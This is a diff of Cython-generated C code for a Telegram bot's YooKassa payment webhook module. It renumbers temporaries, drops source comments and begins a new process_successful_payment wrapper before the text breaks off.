+6702,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __Pyx_XGOTREF(__pyx_t_26); __Pyx_XGOTREF(__pyx_t_27); __Pyx_XGOTREF(__pyx_t_28); - __pyx_t_18 = __pyx_lineno; __pyx_t_21 = __pyx_clineno; __pyx_t_22 = __pyx_filename; + __pyx_t_19 = __pyx_lineno; __pyx_t_21 = __pyx_clineno; __pyx_t_22 = __pyx_filename; { __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; @@ -7714,10 +6718,10 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __Pyx_XGIVEREF(__pyx_t_25); __Pyx_ErrRestore(__pyx_t_23, __pyx_t_24, __pyx_t_25); __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; __pyx_t_26 = 0; __pyx_t_27 = 0; __pyx_t_28 = 0; - __pyx_lineno = __pyx_t_18; __pyx_clineno = __pyx_t_21; __pyx_filename = __pyx_t_22; + __pyx_lineno = __pyx_t_19; __pyx_clineno = __pyx_t_21; __pyx_filename = __pyx_t_22; goto __pyx_L17_except_error; } - __pyx_L28_return: { + __pyx_L25_return: { __Pyx_PyThreadState_assign __pyx_t_28 = 0; __pyx_t_27 = 0; __pyx_t_26 = 0; __pyx_t_25 = 0; __pyx_t_24 = 0; __pyx_t_23 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_25, &__pyx_t_24, &__pyx_t_23); @@ -7751,251 +6755,187 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C } goto __pyx_L17_except_error; - /* "handlers/payments/yookassa_pay.py":214 - * amount_str = payment.amount["value"] - * - * try: # <<<<<<<<<<<<<< - * user_id = int(user_id_str) - * amount = float(amount_str) - */ __pyx_L17_except_error:; __Pyx_XGIVEREF(__pyx_t_11); __Pyx_XGIVEREF(__pyx_t_12); __Pyx_XGIVEREF(__pyx_t_13); __Pyx_ExceptionReset(__pyx_t_11, __pyx_t_12, __pyx_t_13); goto __pyx_L6_error; + __pyx_L19_try_return:; + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_XGIVEREF(__pyx_t_13); + __Pyx_ExceptionReset(__pyx_t_11, __pyx_t_12, __pyx_t_13); + goto __pyx_L10_try_return; __pyx_L18_except_return:; __Pyx_XGIVEREF(__pyx_t_11); __Pyx_XGIVEREF(__pyx_t_12); __Pyx_XGIVEREF(__pyx_t_13); __Pyx_ExceptionReset(__pyx_t_11, __pyx_t_12, __pyx_t_13); goto __pyx_L10_try_return; - __pyx_L20_try_end:; } - /* "handlers/payments/yookassa_pay.py":209 - * logger.info(f" API Yookassa: {payment}") - * - * if payment.status == "succeeded" and payment.paid: # <<<<<<<<<<<<<< - * web.Response(status=200) - * user_id_str = payment.metadata.get("user_id") - */ - goto __pyx_L12; } - /* "handlers/payments/yookassa_pay.py":226 - * return web.Response(status=400) - * else: - * logger.warning(f" ID {payment_id} ") # <<<<<<<<<<<<<< - * return web.Response(status=400) - * except Exception as e: - */ /*else*/ { - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 226, __pyx_L6_error) - __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_warning); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 226, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_logger); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 228, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_17 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_warning); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 228, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_17); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 228, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = PyTuple_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 226, __pyx_L6_error) - __Pyx_GOTREF(__pyx_t_3); __pyx_t_15 = 0; __pyx_t_16 = 127; __Pyx_INCREF(__pyx_kp_u_ID_2); __pyx_t_16 = (65535 > __pyx_t_16) ? 65535 : __pyx_t_16; __pyx_t_15 += 12; __Pyx_GIVEREF(__pyx_kp_u_ID_2); - PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_kp_u_ID_2); - __pyx_t_20 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_payment_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 226, __pyx_L6_error) + PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_kp_u_ID_2); + __pyx_t_20 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_payment_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 228, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_20); __pyx_t_16 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_20) > __pyx_t_16) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_20) : __pyx_t_16; __pyx_t_15 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_20); __Pyx_GIVEREF(__pyx_t_20); - PyTuple_SET_ITEM(__pyx_t_3, 1, __pyx_t_20); + PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_20); __pyx_t_20 = 0; __Pyx_INCREF(__pyx_kp_u__12); __pyx_t_16 = (65535 > __pyx_t_16) ? 65535 : __pyx_t_16; __pyx_t_15 += 27; __Pyx_GIVEREF(__pyx_kp_u__12); - PyTuple_SET_ITEM(__pyx_t_3, 2, __pyx_kp_u__12); - __pyx_t_20 = __Pyx_PyUnicode_Join(__pyx_t_3, 3, __pyx_t_15, __pyx_t_16); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 226, __pyx_L6_error) + PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_kp_u__12); + __pyx_t_20 = __Pyx_PyUnicode_Join(__pyx_t_1, 3, __pyx_t_15, __pyx_t_16); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 228, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_20); - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = NULL; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; __pyx_t_4 = 0; #if CYTHON_UNPACK_METHODS - if (unlikely(PyMethod_Check(__pyx_t_1))) { - __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); - if (likely(__pyx_t_3)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); - __Pyx_INCREF(__pyx_t_3); + if (unlikely(PyMethod_Check(__pyx_t_17))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_17); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_17); + __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_1, function); + __Pyx_DECREF_SET(__pyx_t_17, function); __pyx_t_4 = 1; } } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_20}; - __pyx_t_17 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); - __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_t_20}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_17, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_20); __pyx_t_20 = 0; - if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 226, __pyx_L6_error) - __Pyx_GOTREF(__pyx_t_17); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 228, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; } - __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yookassa_pay.py":227 - * else: - * logger.warning(f" ID {payment_id} ") - * return web.Response(status=400) # <<<<<<<<<<<<<< - * except Exception as e: - * logger.error(f" : {e}") - */ __Pyx_XDECREF(__pyx_r); - __Pyx_GetModuleGlobalName(__pyx_t_17, __pyx_n_s_web); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 227, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_web); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 229, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_17 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_Response); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 229, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_17); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_17, __pyx_n_s_Response); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 227, __pyx_L6_error) - __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; - __pyx_t_17 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 227, __pyx_L6_error) - __Pyx_GOTREF(__pyx_t_17); - if (PyDict_SetItem(__pyx_t_17, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 227, __pyx_L6_error) - __pyx_t_20 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_17); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 227, __pyx_L6_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 229, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 229, __pyx_L6_error) + __pyx_t_20 = __Pyx_PyObject_Call(__pyx_t_17, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 229, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_20); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_20); __Pyx_DECREF(__pyx_t_20); __pyx_t_20 = 0; goto __pyx_L10_try_return; } - __pyx_L12:; - /* "handlers/payments/yookassa_pay.py":205 - * return web.Response(status=400) - * - * try: # <<<<<<<<<<<<<< - * payment = Payment.find_one(payment_id) - * logger.info(f" API Yookassa: {payment}") - */ } - __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; - __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; - __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; - goto __pyx_L11_try_end; __pyx_L6_error:; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_17); __pyx_t_17 = 0; - __Pyx_XDECREF(__pyx_t_19); __pyx_t_19 = 0; + __Pyx_XDECREF(__pyx_t_18); __pyx_t_18 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_20); __pyx_t_20 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/yookassa_pay.py":228 - * logger.warning(f" ID {payment_id} ") - * return web.Response(status=400) - * except Exception as e: # <<<<<<<<<<<<<< - * logger.error(f" : {e}") - * return web.Response(status=500) - */ __pyx_t_21 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_21) { __Pyx_AddTraceback("handlers.payments.yookassa_pay.yookassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_20, &__pyx_t_17, &__pyx_t_1) < 0) __PYX_ERR(0, 228, __pyx_L8_except_error) + if (__Pyx_GetException(&__pyx_t_20, &__pyx_t_2, &__pyx_t_17) < 0) __PYX_ERR(0, 230, __pyx_L8_except_error) __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_17); - __Pyx_XGOTREF(__pyx_t_1); - __Pyx_INCREF(__pyx_t_17); + __Pyx_INCREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_e); - __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_e, __pyx_t_17); - __Pyx_GIVEREF(__pyx_t_17); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_e, __pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); /*try:*/ { - /* "handlers/payments/yookassa_pay.py":229 - * return web.Response(status=400) - * except Exception as e: - * logger.error(f" : {e}") # <<<<<<<<<<<<<< - * return web.Response(status=500) - * - */ - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 229, __pyx_L40_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_19 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_error); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 229, __pyx_L40_error) - __Pyx_GOTREF(__pyx_t_19); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 229, __pyx_L40_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u__13, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 229, __pyx_L40_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 231, __pyx_L37_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_18 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_18)) __PYX_ERR(0, 231, __pyx_L37_error) + __Pyx_GOTREF(__pyx_t_18); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 231, __pyx_L37_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u__13, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 231, __pyx_L37_error) __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = NULL; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; __pyx_t_4 = 0; #if CYTHON_UNPACK_METHODS - if (unlikely(PyMethod_Check(__pyx_t_19))) { - __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_19); - if (likely(__pyx_t_2)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_19); - __Pyx_INCREF(__pyx_t_2); + if (unlikely(PyMethod_Check(__pyx_t_18))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_18); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_18); + __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_19, function); + __Pyx_DECREF_SET(__pyx_t_18, function); __pyx_t_4 = 1; } } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_5}; - __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_19, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); - __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_5}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_18, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 229, __pyx_L40_error) - __Pyx_GOTREF(__pyx_t_3); - __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 231, __pyx_L37_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_18); __pyx_t_18 = 0; } - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/yookassa_pay.py":230 - * except Exception as e: - * logger.error(f" : {e}") - * return web.Response(status=500) # <<<<<<<<<<<<<< - * - * return web.Response(status=200) - */ __Pyx_XDECREF(__pyx_r); - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_web); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 230, __pyx_L40_error) - __Pyx_GOTREF(__pyx_t_3); - __pyx_t_19 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Response); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 230, __pyx_L40_error) - __Pyx_GOTREF(__pyx_t_19); - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 230, __pyx_L40_error) - __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_status, __pyx_int_500) < 0) __PYX_ERR(0, 230, __pyx_L40_error) - __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_19, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 230, __pyx_L40_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_web); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 232, __pyx_L37_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_18 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_Response); if (unlikely(!__pyx_t_18)) __PYX_ERR(0, 232, __pyx_L37_error) + __Pyx_GOTREF(__pyx_t_18); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 232, __pyx_L37_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_status, __pyx_int_500) < 0) __PYX_ERR(0, 232, __pyx_L37_error) + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_18, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 232, __pyx_L37_error) __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_18); __pyx_t_18 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_5); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; __Pyx_DECREF(__pyx_t_20); __pyx_t_20 = 0; - goto __pyx_L39_return; + goto __pyx_L36_return; } - /* "handlers/payments/yookassa_pay.py":228 - * logger.warning(f" ID {payment_id} ") - * return web.Response(status=400) - * except Exception as e: # <<<<<<<<<<<<<< - * logger.error(f" : {e}") - * return web.Response(status=500) - */ /*finally:*/ { - __pyx_L40_error:; + __pyx_L37_error:; /*exception exit:*/{ __Pyx_PyThreadState_assign __pyx_t_13 = 0; __pyx_t_12 = 0; __pyx_t_11 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; - __Pyx_XDECREF(__pyx_t_19); __pyx_t_19 = 0; - __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_18); __pyx_t_18 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_23, &__pyx_t_24, &__pyx_t_25); @@ -8006,7 +6946,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __Pyx_XGOTREF(__pyx_t_23); __Pyx_XGOTREF(__pyx_t_24); __Pyx_XGOTREF(__pyx_t_25); - __pyx_t_21 = __pyx_lineno; __pyx_t_18 = __pyx_clineno; __pyx_t_30 = __pyx_filename; + __pyx_t_21 = __pyx_lineno; __pyx_t_19 = __pyx_clineno; __pyx_t_30 = __pyx_filename; { __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; @@ -8022,10 +6962,10 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __Pyx_XGIVEREF(__pyx_t_11); __Pyx_ErrRestore(__pyx_t_13, __pyx_t_12, __pyx_t_11); __pyx_t_13 = 0; __pyx_t_12 = 0; __pyx_t_11 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; - __pyx_lineno = __pyx_t_21; __pyx_clineno = __pyx_t_18; __pyx_filename = __pyx_t_30; + __pyx_lineno = __pyx_t_21; __pyx_clineno = __pyx_t_19; __pyx_filename = __pyx_t_30; goto __pyx_L8_except_error; } - __pyx_L39_return: { + __pyx_L36_return: { __Pyx_PyThreadState_assign __pyx_t_25 = 0; __pyx_t_24 = 0; __pyx_t_23 = 0; __pyx_t_11 = 0; __pyx_t_12 = 0; __pyx_t_13 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_11, &__pyx_t_12, &__pyx_t_13); @@ -8059,13 +6999,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C } goto __pyx_L8_except_error; - /* "handlers/payments/yookassa_pay.py":205 - * return web.Response(status=400) - * - * try: # <<<<<<<<<<<<<< - * payment = Payment.find_one(payment_id) - * logger.info(f" API Yookassa: {payment}") - */ __pyx_L8_except_error:; __Pyx_XGIVEREF(__pyx_t_8); __Pyx_XGIVEREF(__pyx_t_9); @@ -8084,41 +7017,9 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __Pyx_XGIVEREF(__pyx_t_10); __Pyx_ExceptionReset(__pyx_t_8, __pyx_t_9, __pyx_t_10); goto __pyx_L0; - __pyx_L11_try_end:; } - - /* "handlers/payments/yookassa_pay.py":232 - * return web.Response(status=500) - * - * return web.Response(status=200) # <<<<<<<<<<<<<< - * - * - */ - __Pyx_XDECREF(__pyx_r); - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_web); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 232, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_17 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_Response); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 232, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_17); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 232, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_1); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_status, __pyx_int_200) < 0) __PYX_ERR(0, 232, __pyx_L1_error) - __pyx_t_20 = __Pyx_PyObject_Call(__pyx_t_17, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 232, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_20); - __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_20); - __Pyx_DECREF(__pyx_t_20); __pyx_t_20 = 0; - goto __pyx_L0; CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/yookassa_pay.py":192 - * - * - * async def yookassa_webhook(request): # <<<<<<<<<<<<<< - * """ - * Yookassa . - */ /* function exit code */ __pyx_L1_error:; @@ -8128,7 +7029,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_17); - __Pyx_XDECREF(__pyx_t_19); + __Pyx_XDECREF(__pyx_t_18); __Pyx_XDECREF(__pyx_t_20); __Pyx_AddTraceback("yookassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_L0:; @@ -8143,24 +7044,570 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C } static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/yookassa_pay.py":236 - * - * - * @router.callback_query(F.data == "enter_custom_amount_yookassa") # <<<<<<<<<<<<<< - * async def process_enter_custom_amount( - * callback_query: types.CallbackQuery, state: FSMContext - */ /* Python wrapper */ -static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_10process_enter_custom_amount(PyObject *__pyx_self, +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_10process_successful_payment(PyObject *__pyx_self, #if CYTHON_METH_FASTCALL PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds #else PyObject *__pyx_args, PyObject *__pyx_kwds #endif ); /*proto*/ -static PyMethodDef __pyx_mdef_8handlers_8payments_12yookassa_pay_10process_enter_custom_amount = {"process_enter_custom_amount", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yookassa_pay_10process_enter_custom_amount, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; -static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_10process_enter_custom_amount(PyObject *__pyx_self, +PyDoc_STRVAR(__pyx_doc_8handlers_8payments_12yookassa_pay_9process_successful_payment, "\n \320\220\321\201\320\270\320\275\321\205\321\200\320\276\320\275\320\275\320\276 \320\276\320\261\321\200\320\260\320\261\320\260\321\202\321\213\320\262\320\260\320\265\321\202 \321\203\321\201\320\277\320\265\321\210\320\275\321\213\320\271 \320\277\320\273\320\260\321\202\321\221\320\266 \320\261\320\265\320\267 \320\261\320\273\320\276\320\272\320\270\321\200\320\276\320\262\320\272\320\270 \320\276\321\202\320\262\320\265\321\202\320\260 Yookassa.\n "); +static PyMethodDef __pyx_mdef_8handlers_8payments_12yookassa_pay_10process_successful_payment = {"process_successful_payment", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yookassa_pay_10process_successful_payment, __Pyx_METH_FASTCALL|METH_KEYWORDS, __pyx_doc_8handlers_8payments_12yookassa_pay_9process_successful_payment}; +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_10process_successful_payment(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_user_id = 0; + PyObject *__pyx_v_amount = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + 